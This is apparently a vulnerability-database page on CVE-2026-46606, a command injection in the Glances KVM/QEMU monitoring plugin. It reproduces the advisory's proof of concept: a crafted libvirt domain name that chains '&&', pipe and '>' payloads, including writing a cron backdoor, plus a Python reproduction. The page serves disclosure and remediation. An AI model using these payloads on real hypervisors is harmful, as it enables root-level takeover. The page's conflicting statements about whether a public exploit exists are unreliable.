Skip to main content

Glances CVE-2026-46606

| EUVDEUVD-2026-39516 HIGH
OS Command Injection (CWE-78)
2026-06-22 https://github.com/nicolargo/glances GHSA-v5r2-qh84-fjx5
7.8
CVSS 3.1 · Vendor: https://github.com/nicolargo/glances
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain libvirt domain-define rights
  2. Delivery
    Define VM with crafted `<name>` containing `&&`/`|`/`>` payload
  3. Exploit
    Wait for Glances vms-plugin poll cycle
  4. Execution
    secure_popen splits domain name into extra process
  5. Persist
    Injected command runs as Glances user (often root)
  6. Impact
    Drop cron/SSH persistence and escalate

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) Glances built from a vulnerable commit or release prior to 4.5.5 with the vms plugin enabled in glances.conf, (2) the virsh binary at /usr/bin/virsh present and executable on the monitored host, (3) the attacker holding libvirt domain-define or domain-rename privileges - typically membership in the libvirt group on Ubuntu/Debian/Fedora or an equivalent cloud-tenant API role - and (4) Glances actually polling the vms plugin (default when the plugin is enabled, no extra configuration needed). Exploitation is limited to hosts running the KVM/QEMU monitoring path; pure non-virtualisation Glances deployments, hosts without virsh, and environments where libvirt domain management is restricted to administrators are not exposed.

Impact

The published CVSS 3.1 vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (base 7.8) aligns with the description: the attacker must already hold libvirt domain-creation or rename rights on the host, but once that prerequisite is met exploitation is deterministic and yields full CIA impact, frequently as root. There is no EPSS, KEV, or SSVC data in the input and no public exploit identified at time of analysis, so this is not a mass-exploitation candidate; the realistic risk profile is a privilege-escalation primitive on multi-tenant hypervisors and any host where members of the libvirt group should not be root-equivalent. The CVSS vector and description are consistent (local, low-complexity, low-privilege), so no signal conflicts are present, though the absence of EPSS/KEV data means exploitation prevalence is unknown rather than confirmed low.

Exploit ScenarioDerived

An attacker with libvirt domain-creation rights - for example a member of the libvirt group on Ubuntu/Debian/Fedora or a tenant in a cloud virtualisation API - defines a VM whose <name> contains a payload such as productionDB && touch /tmp/glances_pwned or productionDB > /etc/cron.d/glances_backdoor. On the next polling cycle Glances calls virsh domstats --nowait <name>, secure_popen() splits the command on &&/|/> and runs the injected fragment as the Glances user (commonly root), giving the attacker arbitrary command execution and a straightforward persistence path via cron or SSH keys. A working PoC is included in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Local privilege escalation via command injection in Glances 4.5.5_dev1 and earlier allows users with libvirt domain-creation rights to execute arbitrary commands as the Glances process owner (typically root on hypervisor hosts). The flaw lives in the KVM/QEMU monitoring plugin, where VM domain names parsed from virsh list --all are interpolated into command strings handled by secure_popen(), which intentionally treats &&, |, and > as control operators. No public exploit identified at time of analysis, but a detailed PoC accompanies the GHSA-v5r2-qh84-fjx5 advisory.

RemediationAI

Vendor-released patch: 4.5.5 - upgrade Glances to version 4.5.5 or later (release notes https://github.com/nicolargo/glances/releases/tag/v4.5.5, advisory https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5), which replaces the vulnerable f-string interpolation with safer argument handling. If immediate upgrade is impossible, disable the vms plugin in glances.conf or uninstall /usr/bin/virsh on the monitored host so the vulnerable code path is never reached (trade-off: loses all KVM/QEMU VM visibility in Glances). As defence in depth, run Glances under a dedicated unprivileged service account granted only CAP_SYS_PTRACE instead of root, and audit/restrict membership of the libvirt group and any cloud-tenant APIs that can define or rename domains, since members of that group effectively gain code execution on the host once Glances polls them.

Affected VersionsENISA

Glances < 4.5.5

Affected Packages

pypi glances fix: 4.5.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Glances is a cross-platform Python system-monitoring tool (pkg:pip/glances) that includes a virtualisation plugin (glances/plugins/vms/engines/virsh.py) for inspecting KVM/QEMU guests via the virsh CLI. The plugin builds shell-style command lines with f-strings such as f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}' and dispatches them through secure_popen() in glances/secure.py, which splits on &&, |, and > before invoking subprocess.Popen(..., shell=False) for each fragment - turning those tokens into real pipeline and redirection operators despite the absence of shell=True. Because the domain value originates from libvirt-supplied VM names and bypasses the _sanitize_mustache_dict() helper already used in actions.py, this is a textbook CWE-78 OS Command Injection where the trust boundary between libvirt metadata and the monitoring host is broken.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nicolargo/glances) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Attacker needs local libvirt privileges (PR:L) on the monitored host (AV:L); injection is deterministic (AC:L) and yields full code execution as the Glances user, so C/I/A:H.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat HIGH

Primary rating from Vendor (https://github.com/nicolargo/glances).

CVSS VectorVendor: https://github.com/nicolargo/glances

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances - commonly root on hypervisor hosts.

---

Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):

  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185
  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204

The vulnerable calls are on lines 185 and 204:

python
# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59-78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

python
# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):
# '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):
# '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
# '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

OperatorEffectConfirmed
&&Second command executes after the virsh callYes
`\`Output of virsh piped to injected command
>virsh output redirected to arbitrary fileYes

---

PoC

Special configuration required

  • Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
  • The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
  • No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 - Create a VM with a crafted domain name

Using the && operator to chain a second command:

xml
<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>
bash
virsh define evil-domain.xml

Step 2 - Start Glances with KVM monitoring enabled

bash
glances
# or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes:

  1. virsh domstats --nowait productionDB
  2. touch /tmp/glances_pwned

Step 3 - Verify execution

bash
ls -la /tmp/glances_pwned
# file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

python
import sys
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
from glances.secure import secure_popen
# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

---

Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights - a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact:

  • Confidentiality: Full - arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
  • Integrity: Full - file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).
  • Availability: Full - the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.

---

Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

python
# virsh.py - replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.

---

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

---

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

---

Executive ViewAI

Why It Matters

Glances 4.5.5_dev1 and earlier contain a local privilege escalation vulnerability in the KVM/QEMU monitoring plugin allowing users with libvirt domain-creation rights to execute arbitrary commands as the Glances process owner-typically root on hypervisor hosts. Publicly available exploit code exists, increasing the risk of exploitation. Organizations must immediately assess exposure and implement mitigations to prevent privilege escalation on critical virtualization infrastructure.

Business Impact: High
Compensating Controls

Restrict libvirt domain-creation rights to root or essential administrators only; disable KVM/QEMU monitoring plugin if VM monitoring is not operationally required; run Glances with minimal necessary privileges (non-root if feasible); implement access controls on Glances administrative interfaces; monitor system logs for exploitation indicators including unexpected command injection patterns and shell meta-character sequences in virsh command output.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
popular open-source system monitor, common on Linux servers and hypervisors
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy